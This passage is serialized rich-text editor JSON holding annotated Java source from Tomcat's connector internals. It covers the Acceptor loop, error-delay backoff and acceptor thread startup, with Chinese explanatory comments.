{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wFeV-1659060673921&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bvmw-1659060673920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oX22-1659060673923&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WilY-1659060673922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TK25-1659060673925&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IfD5-1659060673924&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5sb-1659060673927&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3YCZ-1659060673926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                errorDelay = 0; // 成功接收之后重置延时处理异常时间&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddyc-1659060673929&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L0rB-1659060673928&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (endpoint.isRunning() &amp;&amp; !endpoint.isPaused()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QZ0a-1659060673931&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nTMT-1659060673930&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    // setSocketOptions()将Socket传给相应processor处理&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KVsr-1659060673933&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XgVy-1659060673932&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (!endpoint.setSocketOptions(socket)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KAdH-1659060673935&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LIK8-1659060673934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        endpoint.closeSocket(socket);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cOxH-1659060673937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wta0-1659060673936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hlhn-1659060673939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ppFZ-1659060673938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uIGf-1659060673941&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eEg8-1659060673940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    endpoint.destroySocket(socket); // 否则destroy掉该socketChannel&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iK3K-1659060673943&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pKHp-1659060673942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PDUs-1659060673945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TA9i-1659060673944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Throwable t) { // c1&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NE6g-1659060673947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3xPf-1659060673946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ExceptionUtils.handleThrowable(t); // 处理延迟异常&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JeMG-1659060673949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zUtK-1659060673948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                String msg = sm.getString(\&#34;endpoint.accept.fail\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AKq1-1659060673951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jy3F-1659060673950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (t instanceof Error) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Azsk-1659060673953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gMlW-1659060673952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    ... // 日志记录&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mb98-1659060673956&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNBh-1659060673954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mhAU-1659060673958&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WvcY-1659060673957&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SEvx-1659060673960&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EB3A-1659060673959&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UIyB-1659060673962&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1oFS-1659060673961&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        state = AcceptorState.ENDED; // 标记状态为ENDED&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D9aQ-1659060673964&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ppF-1659060673963&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tnU5-1659060673966&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p6qY-1659060673965&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GlyN-1659060673968&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dGto-1659060673967&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        protected int handleExceptionWithDelay(int currentErrorDelay) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dd2W-1659060673970&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n5uo-1659060673969&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (currentErrorDelay &gt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cwn6-1659060673972&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ZXm-1659060673971&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zs8d-1659060673974&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q1OD-1659060673973&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread.sleep(currentErrorDelay);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xgiz-1659060673976&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pQ5B-1659060673975&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (InterruptedException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a6GZ-1659060673978&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Ko8-1659060673977&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                // Ignore&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4xdu-1659060673980&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SAIA-1659060673979&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13lI-1659060673982&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsKp-1659060673981&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O3t8-1659060673984&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9M49-1659060673983&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 异常处理&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f9wV-1659060673986&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kuqC-1659060673985&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (currentErrorDelay == 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k0h0-1659060673988&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Z1L-1659060673987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return INITIAL_ERROR_DELAY; // c2&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jI3W-1659060673990&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F36T-1659060673989&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (currentErrorDelay &lt; MAX_ERROR_DELAY) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T5yU-1659060673992&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gtcA-1659060673991&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return currentErrorDelay * 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kfkQ-1659060673994&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hBdJ-1659060673993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p9II-1659060673996&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HR9e-1659060673995&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return MAX_ERROR_DELAY;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7U9y-1659060673998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Z5F-1659060673997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sB5w-1659060674000&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mMtO-1659060673999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVx8-1659060674002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3w1k-1659060674001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1luz-1659060797418&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s1yk-1659060797416&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fCCv-1659060802784&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xEZS-1659060802782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uvid-1659060816667&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hs0s-1659060816664&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I3Zf-1659060467062&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1QDQ-1659060467060&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7XsE-1659060821677&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W62n-1659060821676&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IO8L-1659060818929&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//在AbstractEndpoint类中开启Acceptor线程&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aU4m-1659060824972&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lYoL-1659060824969&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hbDU-1659060828886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CijL-1659060828884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oTEl-1659060825163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;psFQ-1659060825161&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected void startAcceptorThreads() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ReIw-1659060822474&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5JpT-1659060822473&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int count = getAcceptorThreadCount();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xeUz-1659060822476&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sjOO-1659060822475&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    acceptors = new ArrayList&lt;&gt;(count);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kg0B-1659060822478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mkbw-1659060822477&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRnd-1659060822480&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q4pD-1659060822479&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    for (int i = 0; i &lt; count; i++) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hwog-1659060822482&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;THZ9-1659060822481&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Acceptor&lt;U&gt; acceptor = new Acceptor&lt;&gt;(this);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9PTd-1659060822485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s6bF-1659060822484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String threadName = getName() + \&#34;-Acceptor-\&#34; + i;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zk7U-1659060822487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cHTU-1659060822486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        acceptor.setThreadName(threadName);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xxfb-1659060822489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hK5j-1659060822488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        acceptors.add(acceptor);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aO7i-1659060822491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xDzp-1659060822490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Thread t = new Thread(acceptor, threadName);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c0gQ-1659060822493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2hSE-1659060822492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        t.setPriority(getAcceptorThreadPriority());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xdMx-1659060822495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TX7a-1659060822494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        t.setDaemon(getDaemon());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bAeK-1659060822497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0bbz-1659060822496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        t.start();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4qXu-1659060822499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MBXQ-1659060822498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMJK-1659060822501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y9wz-1659060822500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l1VM-1659060822503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ckDn-1659060822502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rpZf-1659060822505&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q0Pd-1659060822504&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oBFP-1659060831270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EtyE-1659060831268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yv2H-1659060796009&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yhkt-1659060796004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TiFP-1659061202959&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wwFT-1659061202957&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UlEj-1659061220346&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hPQ5-1659061220345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;twTg-1659060796197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//NioEndpoint中具体实现的对SocketChannel的处理&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m5yZ-1659061271013&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;